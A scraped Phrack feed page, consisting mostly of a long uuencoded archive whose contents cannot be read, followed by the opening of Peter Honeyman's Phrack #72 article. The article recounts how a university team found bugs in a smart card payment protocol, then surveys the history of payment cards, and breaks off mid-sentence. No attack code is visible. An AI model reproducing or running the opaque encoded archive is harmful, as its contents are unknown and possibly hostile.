M#-1N6#<ZX#G);>,>:Y+H'-7,IND8L#,GP\>_#5Z!PWQ['[I/'1R&8;`6?+K] MO!M\NO]LC8W&NPO"G`+TOKVWD1:(9XT_$/'[:FQ]^`2(4888_8$8>>DO9/NY M]>$B7-,$QX9@<1$5U'F6MV5SG"8'175CH(54/.9TAZ.88AZ"S^EOEQ=%9PP3 MI9.D5O/23!>6QMP6F*_@;X&>=DW,D\+.S;.?WN'_T?[1T<D!SH>0K+^X_V^G MA^>]K^C?^[UW<'A\=GY:!:/N+J@EDM:R<B8CB:R%=VPKMF2OU-@8:P453*4V MHZ+6JF.26?AA__WAP6YULS:H,7"O[VJL.8#7VL)?D4H\`M4JNW7J=9.+Y;[! MVX=7;#,6_75MHX-]A5?%MG9]*N<A+K"N!0B8+&*"9T:B9Z>[1?4\,)#P20-I M2.!RD([OID^-0%S?;P0_B!H6/S:"'GMX\%/OX.>SCQ]VX2F54"EGXQ\K*<8I M2ZO]\0"!!F>]<YW&S^RD8J]%8$#_4?Y`"MG!&4=`T,&[WO[YQ]/>&:`W3&/8 M7](2D*=6E5AN,BS?]GX/:-<\./EX/`=)U!.X?0^P4@2AJ"]W>ZONX%<Y\@X; M&27BX_G^&QC[Y-V[N11*']/!C"X^<</`0:#3JC<"F--2!038.A19:1>/X7_< MMF_ORVE>I(8^+;A52GOH)->$CN_>SAY[P9M>-;&:5@+;R&PZ7-L.89O&8H\E M&,$W8)2,8$,(I43I(\8/_[5C:F-YIV\K%P8:LX?;QI<:;PI,E;F"=4Y8*]RN M?^[](_AU_^AC+S@[/SGM[5J;-PBZ&.7'H`T>+-H798[[&RJRAQ0LM8<BGUP[ MJK:(L2Z(SP>QQZ34BR&P;!+$0PQ%XS@T;-D$XVDYF-[$6-X(FX'>+O,),IFI M;!B.JWMMY^MYM/!T>ZX+7PK3);!H^BP-OX98Y30;C0*QDWPIP6X;P3W,`?LT MR[M1-@63"C`'\31-*C[=BUL4S/M_!<VYH'#`E=NIL*!>M)_R3OK>4:11\D@' M>VA<-5D1O;36#_\#J9T^X@F+KM.@_8"23,W&%ZVUG:O5W<!L.9XF3LL@T-IJ MZO8AQ425A,KDP,]LD%(]+%JU(+XADWQ(T0:L8#6)[[-K66X'UC!+E7<":AYG M%+&^X";6,E`G\"TL/K-_$S1@TLELG!;QE'MSNE:J(U-R0XC3ISFF0X"D7E=. M(H4%K&&`.E\V#'3TC<'6S!H$"/ME@T!'?1"-_FCI9>64JE"2>6!O?2/PX`S* MT@XX=X,U%IA*.N837#X\?PR86X=SB+%P98X<@,7*P"G!B:C5?`3*`-Z2!*R_ MB4NP:BS&JD$V#8THX@=/$>\.\(X!*4\#%O.9_SC*DD?11)LJ%9?#-'3)P#<Q MU<RDLU?F$<?(IB+/CMA^`M\15)OR)@4N6E<7[2NR/HBEGVG=EJV),PT/B2L? MOE]/G^Y0]"C6UL1_+%!UO]JF;@(;5W4O![.[!+/1..'DM)V6OK71G4?X%@=T M529^TI&##\YW`7Q,DE<L=*-BY77\Z/L788AB[,.0E;T6"#)6=IKI0[,F:EQ[ MUQ"DJ[+._)O2:MMA+K8A(A>7R,6U4-7*"S7KF003E4'),@;`2RJ;Z*$W18D_ M@G31;NU>:38WLD:6@+H'`X+YV:FP>:C$GT@/8`(T"59>K?#,/&)GU@:S4D`> MF[HSA@W19371,DG/-UZK#=_]`4#]8JVMU+(;A.']P]"AOF*,E]%?48:Q'`]A M&D9)6+_0L(*IALA=R)U[6#&0&IMXZNR+WH<.3O5%L.+;.OS5TM;)G;L.<ZT- M''Q\<MXC;7Y#ZXB(22I0@;SL-@66:7?6NQN[P1%HP"*'[J^G10S;$#+4ZU^S M].$C&'/E_EW66?]K:%M(BB8--;Y#>RX9583GVT2973?$[[CV``F`@CO"737^ M!P5M4)='^"?_DNVT4TL9:/N/NYS9L":`6$J5=\,G?H#D(^GCSEL6$YH>+<=) M3C$5=5KZQ\$&`]B812M+M^!G.;A)05!AVRZQ'CCNXFA8X_*J1''1V(W?RTC: MOVX-&OJ,&_HD/8$I?86^5"Z7A='"BZ.C42(`HS0`*?+)Z`GV_=EPR#49>PR> M?IFFLAHZ%P">5,9NO5$Q='&G\C6HW->KK\<QF&B%.*<5/YN#P7*[W6YI-A-: M>A')KZTQ+!SW=#-<+05Z.T'8_"//P.K3H($B$"HQ`)78UO6WN7A<O1B=79VB MD1)UQBXI<7Z4`=2C<SW\BEE.Z`'<I/)(A`=3E5SQN<(:6;XGNGK.WG5P\K:' M^Y9EUSSCL66:6E;<Z5&FVE-3GP8T]P956-[#>(\!C]]DLZ'AUWZU++L+H="1 MA3V<?.[CDP"G^RHT!U/**UNR%>R_3BZK9(^4697L+;,RR$D:C[0ROYC@#*;( MN#]Z,F9BGA8N&X<7MOC6?0RS6A7CB!_T)5>A#(.5V$-@)4![,RCO8%C3IH0- MT,N#XCGKNNWKBA\Z4."%^*.;%%9@/$DQ7V[0D"FXMB:7*T`3=X^"3"+5%AJB M[H+!8:0N_Q(@SPB<27^Q^<.@55SE;%W/<!B=;P^F]/Z!@/4)DGATG]V*@(FT M+A'L=1'?J5-WM8EJ[/>E;!7^VCL]?'?8.PW.__%++Z#+"6>'9[LA\8[7FD.+ M+YO<Y[=IA;GGKC3G08K>NLM)T0$6M2E3/#FO%2N7_=K%Y</E7W[XL7FU6K\L MO[^LK3""NOT!(0+A/U0T,:&&S>LBG]W5VAY<-`(+#IO7Y4L8B8-W;78I/(I[ M--:Y0PF6.RNC99/'J6LKEU,@#^Z/VE:I/"D0$:[?"0KZ\[O@6K#0OVBE1`C: MLG::G2^$2C[KJ&>Z.H"!V1;.6JWKNS4GP$(2:^8W:$:<'7\TP_Q:0YE$<PA. MW6.:G*53UBL,V9:D$N+ID@V%2[0XX`"\SQB#$QA7!W><Q8NP=CW),(,-76[3 M]"Y`[KKEQL*8.8(/5+([P\%K=2S=/21+BF(OY1A+C!=_`\9]ZJ>\_+X,*R)4 M/`XUL'6R?^RDG@AU0,OZ#O.@M)08!(+IVXS#;M,G#0CF"Z1/,K^`NEJ2KP4@ M\.D%M)_GG^KM,^.)!0.9$SPIMX4A7WRE#9^+R'LR]$[(X`P<"_--:M"F0>$S MS3YG60GS&(NZ\^0%U6\"BIRX:V[?3$_GDDSW6X%AQ^K,KG@:H<7IIF[Q`V!\ M:"TV"A9F)6"N#^K3\))VQZ#U6,,(>+PV1%U:#ZW3/OT@-4FG5'_>S:_J]PG\ M-(_Z?3*%JU*P(I[.CTVSR3"O;HB>-+;B'7RI6_)J0(2.7M1/K[,)($!L-<6E ML*8"WT::JE*B7Z-3F'1P`P_HE1RJI#Z+[C;HU/OA=>J!F#[>(1;LO%Z'Z6FK M4?/YQG1SL8_ESEUD,_:GNOBD0?:`$C>H[$&M5<3=264FZLS\@`S)N4][40I8 M"38/`C%`NZ?J=2K:W,SC((2)T3CU>A10;0A2"PNK;"USU$80/OA3M89-A2O, MJ'F6%EF,KR,Y5W<:U+S&\5V$5@7%`-GTQ)^&9<9?V8'?EUSI@^T_I.N7TQ&^ MY@6];N8U-^@%70SU3*4H@@H5H(WTC[@8;W9#?_!N?__TX*?-[AHTF*-*G=P- M3,_`L3*\GS4KTF#EDSWTYQ7&T[-)B0UN\@>D/I`#?[SG;['"3FS.3?VTVUUB M)Z<0SYS12L3=<@*=P&N;Z,_E9BF\:^Y;BZ/!V62:C;`5R+CQ=B]8GRF:IX#8 M78Z)AP_IRFC$FFFN.`/:-$>DN\UL1\:F=VG!WS$BY!>FS-]&1I+%D&FP%X%A M$#A)!QELSDW!#@PELM3'V!GLE0I>)Q_+8'8[,://RKN25BS&[+UA6HX&#[;2 MU3"NZ_4D2GJ\S"8GC\[XT0Y'EKV,Y46#9HG8HF$TEG3Z?'^=\8PT5T?6$*I, MAEV`''C:"H0$]F#V*OY-7TJ1EMTCP:,JM<]X#BN>C^Y32MD`WO%E`%8U<7B= M-:3\BKRX+5G4$=CM.@_R>[RSAS?M10(&>UDA\AV]FU0J<A*!N&3]FNS\#5D6 MR$@[$F?P,C5[\!>YB"*#2Q7LIU`DZ5"VK!%MXUMC1,>E0&,M7;X&]-::H@,Z M%ELSF.AD<)B'=7,V?6$K>3(]Q]$XGER/TH1'TLG[26!3QR,O0&ELFC;&FAH[ M'5U$E"AZ$D]QUP2X$?=_C&-5?9J\"<T3?A<358C-3UOE@19C.']+'U9J<&\7 M>*SM^X"@<O\YJDO>?EZ;[4(-AC9WK0IX?0Y,RVZA15!@*WI2W@",Q"8-M+5& MKB:7U["B026\BC'QXW$L@<D8GU79OA<2\-7S@)D@78@_K^QX@#,5LB6C_`X4 M[Z!DZ?T2M9J*5[GA.'8::G'/7C#V4!ZI':FI1^33L10&$V_!U^0Y[8WB,7`) M.4.[].\%A@@*U&UENG>.]X$]*?.&R4T+(_]R-'8_96J6/[<UMGBNMNN([^"> M]&[>5N>B*GC$K1&Q:TFF-;[_CKU1-(7_AI@]-ASE#Q$+M$D@PO5V``[R,5NP MNGC\EMXABA&CF/B;;<C^WNR85^L<?)S@:[W^YF].%SMD&1#LI@U6>@8+0]O# M$Z#4)"OIJ>?35TP>`YT$Q,RFMP%8FRBEW5#DA\7MX9>'1O`HXPUH?GC3Y86M MH&6Z^U/AN2#LX<]5`5._2M0(<"^?Y.S]A[SP%&G[8?;HUWAX!%*=.(\)Z5&Q M5Y%X3T\?]A[F/'W<<\?5:3I/60A71J@,+9(#K:WP\##`9"K5&`LA6$X5D"-5 MT1_9%'</)9"ZCO)<.8&!1=C4YSW3VJ5U)R*(_5Q.DFIB;L;A`W#B'9H]LSNI ME?6L(]/K)SO?=OW)$1@,9JS.#AG42MY03;28108]Z&V/MQE,400,R#>A-XB. M4K3[-'>03"BA?UU=Z34JI&6L:U0TE/;&'F'S:<J%J:6M*EFK`H)!/+V11C>8 M:4(O4"[2E!&"NR#\+9\B7(JT8M'-:9X;A(%NF4D8C4_FDL;B)Z]T85K)7GCV MCP]O3H["BGLQ=/%LSQ+MNG=(3AK&OXKFQ!5[%]F59VF,C6GA-=%[6:ES3'E& M%M%TJ\A+->^96V:=8WCM)(RE]Y_`OV>_:@=<\ZPG9CC-P0#'8D>ZNG;3AJM; M!ATHYS01YC*-"]^@1J?)X'Z.K]5D:0]DSF.0D+V[-1\&;][\S9FJGDIGR22/ M)RL31N^K(RPCVPL:='-(8E'7.F(:VM1W]:Y@4]M$KC1%Q5:I2-L(*NA8048? M]W!YD`M<V8&+$V]OL$%E'XT`>Q<&%]CDNZH&(GEL3_[FV7_UO_Q7'ZL([J-K M%77F46%!1!VE8UBZ"RL=Z$EQJ[ZM<KB?X6H=S?_S*ITY7NM<Q]3RN%BXWQ96 M0^5Q>;4&-)(':1DGR1?!66M?.>*H8;4G`'MLH<*(M#>I5N<;(AG%YT_CR75: MX["(`R3<13CP*\`W&-*,ZQCZJ]8E$WS;-ZL'B>\/AI%@*\^N)^@H)5DYR"<3 M=G&PP%$\=U>Q*()B1>FNB[U"[)O%E?`R=";6O!2/#Q%Y@U(+A**L1,7%HE`. M5SNF->.N:?&D9^8;#Y/KU"X=(";S%9&GR!<*LAL1QB;7ZZ*KF+XRB,:#6W*& M_DB-3@`VIA\5Y1ZP5KJ3J8V(OHH(1:&0=7;9=9&$\G3C4=`'QAO<4((U#P;Z MK<"VW*5A/`919P_^#0D]GN+R,5FJ7-\510FW\V5PV\_`76:.!`M,T*$-R!VH M_BD[S2@2[<J113*%.A)LK5T=49NV&VP"TP[\TO;'N(AIQ5II:N8=R.9[%,UF M#UK4F)E]<'+\]I"JVYZ??NR%8$JP=%)].Q)*J,\TD*"0TV!:E97SA1B]VS\Z M^UJ4.K9%2OB,/(S:!D8%AOP"3OVO8=0%B?85M/&LEG_#P@_6MJ'3E&GPFJH/ M@V$ISZT9I9:\FXG:$I@+1NK&Q4:J(<IT]<T%;2LDRAY1QK"@%J$[B[FP;]&+ MTL^(I!!B(L]:.\CP'DT,;O.0Y:D7^>SZ1OC%4[R:AD*-*22PA"S`H,=KA*?E M"K,(FFB)?LNLOIX:/YX(&Q]'HW@7)171>9<"5WFG9.Y^(=P49^?60X,+6Y\R MP]'K[UJ&ISS[66A3ASU23\N4IY1>.^%9S]6$7I_34A_4'U!0E&K>I\4T?7P^ MK.EZOGX_1T=R;Q[.E&+*&)S.<('0.N+/)75J7;UF@P5Z3N*/7UF8TFBMG07A M0AOL:AXTVQI2_&3P=K4]9$ZNTB#"CV>M4>O,]\QE9Z:2&7-P#99)16Q\K7#1 M1%(P"H\2\^DX&6IXQLX?RI"Y64S*N,9BG;C/E7'6&(5<70(7+2DRZCE,AM'M M=$_["/G/N+N#]K^Y$7$S6`#R7:'$-&2>O(UW;R<Y3W$-&'B,A'IZX54>,/;^ M_?@0=-T$,4L:0;/IM,2Z[MEDEBY9"D^)AWXU9+EB,>=H2VF`*`*C@.E-M'M3 MIF`H?T4Y^#P6QF_#&92^<->)_;$JU^RJ[M#?+*8%OJQ;X<(J(+7F?O@2!9_, MR=L%K_`CSJPQ5[E/B8POR`FP,-G;0[\(\YH^W8`906#KOD'Q(Z_]]ONFCX=( M^,^2$%5$3^M:K9<\5.)HU;'65O6Y^%45QF[A+K&'!)\N$/*4E0Z@&P7\T951 M4`@_\_9FR>B4M^`@86W\SG/-NW>>:7)OG0148F?O/N;P5X%V+*^TIRT23#,; M@L'_H*B*85M2$8.,'6#A-6)V`8G%^4B%\-<^!,EL/'XR3A'HXFOPSU%2!(__ M6?R3UH'B#.J6\RBF%TU,K0&O\SP1XV$SKLXR5L8DR:DP^VPR>1+9DC12D<ZH M`@A[*0='$0NB43A)UOEO:/47^%5&D525T/&VL%D'18IWYV.J;:X!)58"K,99 MDHPPQ1!MWO0Q*RD'3P_"++,*+0U^5L>2:=F%=[3,#6)1803&#`U5)8'=:B0: M@(J;*3T>AB';2#%5=#"]8.D9NO"048D\>X'E&9Q')3AP[(EF>#`TP(7`M4(' MX:ING.D;(4J*+,$<1?4'3064_AXLE1HC?Y1(_>DSE<J@K-`:5GG7W=<_9N,[ M#8QI';':&$9J,X(M(U0:+$6<E+:9F2+3:ZKN@.#NKZZ49!-=1IRK2"K9>R\( M9X`RE0=(DS!`$\-XF`R]I0^LX^$B%7MR[$J3R!;AK+J22#;%L&A<)"R_#YE- M'0Z+<V%YI^N7DP,WG&<1#M-M%C0"N'*KNI2G3J,,PEKJS>`0$3&H2K%:ICN2 M[*2<.(1E._;EU2D^<\S_C2F$_!^_!3?IK$#I')!48[T7,J1O=+<5]<1,:8D& M<VM5\#F;FHBXYY).^!7&X%<X\K2D@S[.^NJ,S\<5>OS;0%XL(LX[\.T;K#\, MR[4;US3,(5?7B]5RU9!X0#"8WRC/;ZF(U!3HAB.L@8D_&^!7VOK4496Q4"'+ ML$9;-L-K+"N2A/F#%G'RN6=2-J##!8P]7;G:I4JQ#_%3&=#[0>(`+9`4PS7\ M6)^E2<#6$6>W?MNE2M%H675N_!P_U5$C\\R9RJ]I>HCMJ4@KF[]]L%R&8;_X MP[&NI02&(Z?;Y^"3,=[G@!E2#%Z5I<0O@(;H:_-B*S(`1C(1@E1ALCOFL8,6 M'MP$_^R/_LF2@&>36[6!-E7..K^J*9+C@12TN^8WI(ID*CL6N^*)[*!/262S MR6`T2]*2[VVHO32^=KT0SCN<>`A!-UDP^/R#H&CP@_FL?55MD2X;K*ND'R:! M2=$9&RKEM;H$X?K]2H#.1D5.M^]XW9J93`30;TSWL8:;OIV@R(2#/KYB%WY, MZ.>TSW_`GW.FRJ:K;[%JXZ.B%OC>%9HNONU$!$7G05M4Y$344J\I8W^JA5#A M;L2W&T)AL"SUPMVSOAS5:C27@W>'OW_H[7*MR;*O)W2(C4L&0H,O(DR9>B6K ME*4@X:ZMY2E5SU3/_+0_K<=6JQNO;Z>M72KSM]/>:G\7HWG=WFJ`Y]UZ;'<Z M@T!<O>O&W7YK4,UT$EQW-^AO;[8WXO76=VBM/[0WP38DH`_M1C![G#X$RYUJ MHDA`V[O!=G^]->BL(UX)PXO#`9`E`'H>R&`W2#;;PU:GT_JN3W-[,;%@E3YB M?=5=W,[HMI"XS@/\CXEDJ"5`Q,<S6+`Q)>%J]X/*YI)M=*A[0*@F=+.,WY$` M63<UN;P7R1Q)Z""\6=>'5':IZUX*$:UR+%76E'ONJ6Q<YYFU&YGN9R7]DGS6 M'Z7,@N+7I]`WTF5++W(RR1^X#:)NJ6B/Z88P20;X`*56T4JGKX@R`9WC8#J[ M&Z6Z=UHC\65I_>C/"`^_SNJHW*6##/0<WQ;`K5''(OQ41*P?^CH2KI[+8MXA M769*4COM(#,-Y"<=Q.+.&;_90B5=U$C*45%NDFF/R`>:+V?;E<YUACF7&9:% ME2NV+=64H2[T\F"4<]1Q(\9+XE2`AAQ?VZ(U![<WNXKH)+M%E-YG^:PT5O<! M[P'2QM_0KB^Q<L0ZH3Q@F1-O>NP)VA86GVFXXYFI!M23BFQ@C=J"*(/6J+'" M='1FD)!+`^*>7*>(B\%1^D?GK@O?FI/3;H3BW&2@2F:R.$!<77190*HN'(", M(+#38!5O*`(C;'HU0V0\:R6QH5K!I0J\/"[=<^M"Y]FNH^J7#PG7GGLE]T_8 MVC&VF\?\@<>EJY8^W:QPL9=F_R*FB*O+7\XTW.:4=PC3I-)IK.8B?OI@Q@B0 M2L_+TK(4&5[)BH41S:"7$PD,DB*_$\O!A)"5@Z;K%(&3:_0ETJ2'^/EIE`[& MJ8_BN?E@'&@%[!6.H@!*;:5.E<-XS7"]62':_+6B#<.FT%#PFA`,#RV>Y4VC MUH-<=JJJAKY(\Y1^[@W&I7'(*8;V:@J,7M7/%(2JT+W-$LFL+RT($74%@7O2 M[A4;/?CE,SV<ML#M.2<)DX/1`E6+P;'5+H>CD6PQ.)UJ.$9,8#%HZQ8TSC4L MXBF^=!VJ!4#[CS@J;=`YQJ=*X7^9[>F;&$4DE414AV&J+R:YE9[<PB5Z3ULB M\;3:+,=$)8QD!2@6+E2UD0E12XX8=C>LW*J&&Y(I&F",A4+JO,%%MINM=J[4 M"1L%,VJM!JE>`:41=+3ZV1JD)K\]Z2H76I4F$@W/QU9XT22MJU$_<LZ9K'&, MA">SSAF_>F;K1JVJXI6N[*KN?E6O[+(6SV1%6,&&))^.3DZI=@8%++5J>@U5 M(B)6_*=?.#(,<[%Y8`.L%:F<S@@AX_L9LO(F3>2I@WR,)6.P/A,[1[4>DA:, MJ*!(G^4ZFPUPY2GB(R?HG$'8,+SO8B*MN?)JQ6_JZI-;W1MXVVB4$=:<WJW" M-+5IXSU8F$]?B<!(SB.HF,=_)QP;%3A:=8`P]P',YWXZ`D?9K@'TWVQN5=$Y MOI,1Y[IX/,OC$@5QOJ1_B0QN3,)%@0\O6,.#P7P)?6Y\L9YD\Y(EK(FTB\Z+ M%VJQ17I^@>;C?^'A1TLW.>/*SE>^SNZZ.@"J%,O"-++T<:HN"NM/`$_^II4K M&;<*AMDUYK!CHN_#S1.+P;+JW,KYX7N4!DO;B)PC.[[9N0=W8\RY$+%[\>8G M(PB&SN1PAL>Q>%".<LYK.<FSK3+%DY&<MB0Z_"LU`%@ZF0YET"GB-9NPFFZS MS":T/;SGARQ`G1`U"QX&7.?3/&1Y!#Q/0/%,OTCC6YH<1;>,10O[]#:B@OX= ML7_I#P!BW68UCR',1_J1A/6H7]R&GQW_JT8Y>3IF>.KAG(7@K0U<'^<=E:)< M/E\8_AS?[@I3Y"]YY46&N$6DBG^)O@W?"QJ7@U-\'0L2DK]+@8#R6O_W\6A& M',F#A>#I=G\V-G"RJV3:"!;>J[%J%[O\'8^U;FMGL][HAW9M9FT.339T30%C M<Q`ITUI+L.F2[#HM68FZO]-[9K&X-EAN"7S%OQ`612VD,D_9)/0]XJ_?\3]5 M)=-`RE2#_(Z]:G-MC1SV-?[ZKX:(BNZ%K<<VO?\X1%MX=+<7[F-8G64/8I07 M!$5D,](!RGMU;-*$/N5-_A`)8%0:Q!T:+-]^7F;3)WW<P^-W)_`W7=-@'0YN M\FR0UBY6SD_W#WI8QO1M[\W']_@+-L:?O^V?'A\>OU^YPGQN>F4CE>R_3_?8 MCN?'AY_>#NCE,_4E5@L.C&Q.;/7*7/S=(*3Y_MQ&(&?"F8-#+D#?W`O;GG^' MYXSE4PDRDQ"@$3@`HST%@,F<*.`(8L%?\>O'RGB-+WH_)E[@^V@`U11H1R@8 M<*O@9$T6EJSNR,OK&23AS>E-L+4P`1?K57!YF;_&)+XE-!%84EQ$J391A(2. M(IYO0U2O+WG>_US]_F_SG<I?\Q;P^>__[K3;W8W_T>YN;;4Z&YVM%GS?:;4V M-K^]__O/^"P':]^O83(C)1G2>_CPFZ7EX'TZH9<R47$.6?]LD(]@Z\::C`%_ MP5?1#(*W)UC)/^B]/3Q_M;3,4^=WE4@#^V#GI3`,%5@77I(V\2B3#B'96Q&: MHNA:$[@>7Z`\$B_WILIN6,RW#"+^N[>C>BUY.2BRNVG.NJ@_%^P5W>6`JMF5 MOIO;GY6X('%'6X7Z6]\!O?[^=T8+C&Z"&8\Q*3IHK#$HF"F&O:($P])V_^9; MIG1IHUM:>ML[.S@]_.7\Y!3;6KBJMDW8;635SN0=O:AMY7)R"9O2Y>-FQUJX MR_#R,=Z`AUO09**NL<$WG>]9+[N0('RW??G8:@?X3PW^Z5\^KF.'5E.[!O<! M>@D@$V6"\LX=[+RN=][4._?T]IV_(!ZM+7ZGGT-8=R"LZQ!.9./.OU'W;6'" M\OY=IW_70%^U[C0(0%\++'(8&PZ,+1W&H=&AL\K`X"+`_VT9CN?`-N>31%U" M1UAUI*JZN<=!;#D@-IJ^FXD2@KH^PR%L.XMJ0#B`]A("DHRF-&"V8D15+PG0 ME",R9>T`$+8;XK3A_R[^3RGHO-@7]9G,1_Y45`UZ@^PC>%!C#P"ZKH%[;+?G M<\B!;-QYS1B=3T/6)^*#]!=$C,]UDX`A.ANJFDTYZY?3;#K3F&?P`K!\BKQ, M%P$HYL_N3#85G<$_*.+BB8^>SN]^)!OCE-H$(>5+U]9KIG%P0P?<C@X.K3"3 M3B&!W!SGR8SS#"R``Z1CB*1H&_]!G;M"Q7#MQ1ALPRSZ:BDKSI#M#6A?&*5: M=<6D-=RAU42N;=N%675%I/5`8DUEK55=VY!<K?\[_HFBA@J$:>76)L[J\G%G M@`VPOR%H3/]LLHMI^H0,6@V\@MK\5?3JU!C5D$:XDM?I994NCOV@\#XS0W38 M)>$CM-0`M`)"%@U!=[:,+N<LMFY==%FL!2!^6^^\FC>KYCGTVT4DCD]./^P? MF5I)#^57K-6FP=@;GAY='^-P46)W!/6]@/#>L-`@MC7:;FIMPQXCP3DC`6K* MB3$CY(\6)V^?D??H\,WI_ND_^,,V?SA@^]SAAU].3L][;_E3$B-`'Y]MG/_T M\?AG_F#=A'EX_.O^T:'HA>L3_UTP3%<Q#(*C'NUUSS5*9YTWS"Z>*Y;.LF]P M66#(`S5,8P"88MMAFK;)-#B@WYS@'%,<?O@`)NW^>2\Z/#[GA$@9X9D15J$. M2+@SV#B2#"Q=BZLD6XNEQPN=DZDQSZY#&N*HK`25*MZ^Z'#4]F7XZ.<25H7- M9`1"TIFAX@58!Z8M59-W1R?[HI'@"\Y.)[_T3O?!YM080WMZVGM_>';>$T\W M##70/SO\G[WHE]/>N\/?-46G-0#6(O:")KW3WO%!CS?;0AY89HRI67+,3F!M M]-W5X;UUC9%8E]:V;M')"70K]@CHMSV4.JYO67(O5W2<Y&C\K6,?>3;LZ&#1 M88>I)K/"E<-P&[MLW==;.C<9U:]TQEO7&8]X69YB.TPWT"%R0\W58CJEMUN< M8A/36/V![:%.E2+_5O;*;_5JI9?8:.LH9!/C6Y/0:&5OR!I-E:J)R)!:U'+4 M4;K#U='4L*(-"\$TZ^=P)78;*C/17W'#7>NOV,3-HB1\$]^0#&[I^(!PVZXJ M7>(G)>]45<[$2UC&&H8J7W=4^;!Z(D*=?SR656FD%<#VM0%H5CR_B=+DVM[3 M02GL,D0V-TDHR_0R/+84+5.VA$UWW2C&8VG==6&":LVH0HZE?$D[VP@KQ2L4 M^V^'YP<_Z;LQR%?"%VQJ^1R"!^=*F"(Z.03M';VU3V-T*K3,,EMHT<6NV?F\ MCHH)0$?W&N?LD?%?D6"N!_'263^KM#N&T@9Z)UTN\]2GJ[S+_]])+KA^4J1W M::S<>M,F$8ZS(;Z;COAN>YQN:;AO"0L`_@<9[+8_'IUC2&J[K723$D5AJ_HZ MF88R-T_PX3&8)X?2?F'26J`0_7)R9CSJ.'TW04Q11"]-RVA;Z<SCCQ\NO8;1 MT<G!OM;5\`G:K?=')V_VCR+;[-DT50G"<!N1;?0[(X3FY3_+WHY-(DP@K`GA M%0'-*$85206Y'5;;]C=\<'6MOZ'K/VTSZ>NN<V='#T5P`[R,\!*2C.6U[4%X M/&`PRF-9[\"=HB4D'I-0]Q?1E&3^XJ:,1#QC2'Y/+$M8H6TT@.;)UFNVCMO6 M_\A^78K*@2O/8EG\_<%8G7U69-.GYG\^P2C9H'QSJ8Z>5C"$S,/DS3?X\P.^ MK/DZW9\DO<EL_%;&B<N:BB`W@NM1WH]'6`/&ZGZ>WVE]``J'9W9?,0^15@R` M>&:EXM/-Z.-9+SJ(5/<S/,EB-4?PZ$L]:$;LB+-4MT+TAZ4,:VOM*+C=6N\. M%B48`(W>'![W?D<_N=,<9NDH`2/AB=S^BQ51'H.;O"M7'J1>V+\*[Q:P7JO5 MMC'2VU-^P%ZG/:<)V*Y[ZZU6QVP2?>B=[WM`;6UL/]<0`6YO=JUFH(N.WI_N M__*3!^CVYM9"K1%RN[.U4]4X^K5W>M[[W3/"SN:+.K&!VNO/](GPS:R>T=KM M;N7T*[L^.V;O[7OO8)WVQN)]*D@(/T][9V>PXWA'V+:YHZ(]0=_8L">O6E=2 MK+O^DDX5XU"PX?BM#_X&O3SKN<8,[D[;9O'CWH>3X\,#+^`=>\6\K0GR9MOF M\\/C,_`%R$KP`=_LM!;L0/"W-FU<WNR?'1Z\`4O@9Q_XK4V;*!7M"?KVCDUO MU1KP>MO['>CI9]'MKLU`SW>M&//=T<EO57H$FML$]C='V)V.H\IDXRI9Z[0< M^9S39Z%1JB2BT]ZVU_ZYCA7C20O0-TIGTV9V?W."W75VB;?[Y_MSX7=;]@)6 M=V%C.#Q\</+A0^_XW`O=86!?8X*[W:IH6KD`FUO.KE35HV*$LUZ59$-C>YE\ MC1G<'1LN#^![X>[8<'V-">[.IKUO?#AY^_'(2XL=9X?VM&50MW?F)2[PXXQR A`,ZH-^_HV^?;Y]OGV^?;Y]OGV^?_WN?_`#.:#.T`\``` ` end ]]> https://phrack.org/issues/72/money-for-nothing-chips-for-free.html Tue, 19 Aug 2025 00:00:00 +0000 Peter Honeyman Phrack #72 phrack-72-14 |=-----------------------------------------------------------------------=| |=---------------=[ Money for Nothing, Chips for Free ]=-----------------=| |=-----------------------------------------------------------------------=| |=------------------------=[ Peter Honeyman ]=---------------------------=| |=-----------------------------------------------------------------------=| --[ 0 - Abstract How a team of academic hackers discovered bugs in a widely deployed smart card payment protocol, kept them secret (until now!), and turned what they learned into parties, papers, conferences, and advanced degrees. --[ 1 - Introduction It's 1998. I am the fledgling director of the Center for Information Technology Integration, or CITI, a small research center at the University of Michigan focused on IT infrastructure. My senior staff and I are sitting in a small conference room across the table from three gentlemen in suits. My staff sits in silence throughout the meeting. I introduce my team and ask the visitors "Are any of you authorized to make arrests?" The head suit replies, "He is, and I am, but he is not." I make eye contact with my team. This is what we talked about last night. The suits are from the Electronic Crimes Branch of the United States Secret Service, charged with protecting the nation's financial infrastructure. They heard through the grapevine that we were messing with the currency. So po-po is in the house and it's Shut The Fuck Up Friday for my staff -- let's not get arrested today -- while I try to calm the waters. Let's back up, though. A couple years earlier, a former doctoral student had set CITI up with an industry research grant to develop smart card-based key management for their secure video conferencing project. That project taught us a lot about smart card innards and helped us build some useful tools for smart card hacking, e.g., card readers and card extenders that let us intercept and control communications between a smart card and a smart card reader. But let's back up some more: smart cards? --[ 2 - Smart cards Some folks might remember a time before the universal proliferation of credit cards. I am one of them! My mom carried some "coins" in her wallet when I was growing up in the '50s, dog tag style metal plates half the size of today's standard-size card, imprinted with account data tied to an individual merchant, such as J.L. Hudson's in Detroit or de Bijenkorf in Amsterdam. These were charge cards, which required the consumer to pay in full each month. Around this time, many merchants began accepting charge cards from companies like American Express and Diner's Club. BankAmericaCard (now VISA) and Master Charge (now MasterCard) transformed the field with credit cards, which allowed consumers to carry a balance from month to month, an instant personal loan that was a huge hit with consumers worldwide. With scale came great profit but also great opportunity ... for credit card fraud. Absent a way to validate a card at the time of a transaction, forgery is trivial. To combat fraud, US card issuers periodically distributed books containing page after page of lists of fraudulent and revoked card numbers. I remember these books being printed on the thinnest paper my young eyes had ever seen. This didn't work well, so US issuers induced merchants to install dial-up modems and check for card revocation on each transaction. This is a clumsy system that relies on consumers to report fraudulent use of their cards but is easy to deploy. European vendors also sought a way to thwart wholesale card forgery, but in contrast to the deregulated dial-up market in the US, the European digital network infrastructure was governed by a collection of stodgy national ITU entities that stymied online card verification. Smart cards offered an offline alternative: a trustworthy mobile computing platform. Pin-protected smart cards were issued to consumers and card readers were issued to merchants. The card issuers controlled the cards and the readers and they were able to prevent a lot of fraud. Chip cards quickly became a killer app for smart card proliferation in European pockets and purses. Across the Atlantic, though, there was no swell of smart card adoption. Issuers like VISA and American Express initiated pilot programs that provided cards and readers to consumers, but they didn't catch on, in part because consumers already had adequate fraud protection guarantees from issuers and had no incentive to make transactions more secure. Eventually, US issuers got on board and issued smart cards to consumers -- although without PIN protection -- and readers to merchants. It was oddly late in the game, though. --[ 3 - Smart card R&D Meanwhile, researchers in industry and academia were viewing with interest the potential of the smart card as a mobile trusted computing platform. Boiling it all down, every digital identity needs a secure place to store some 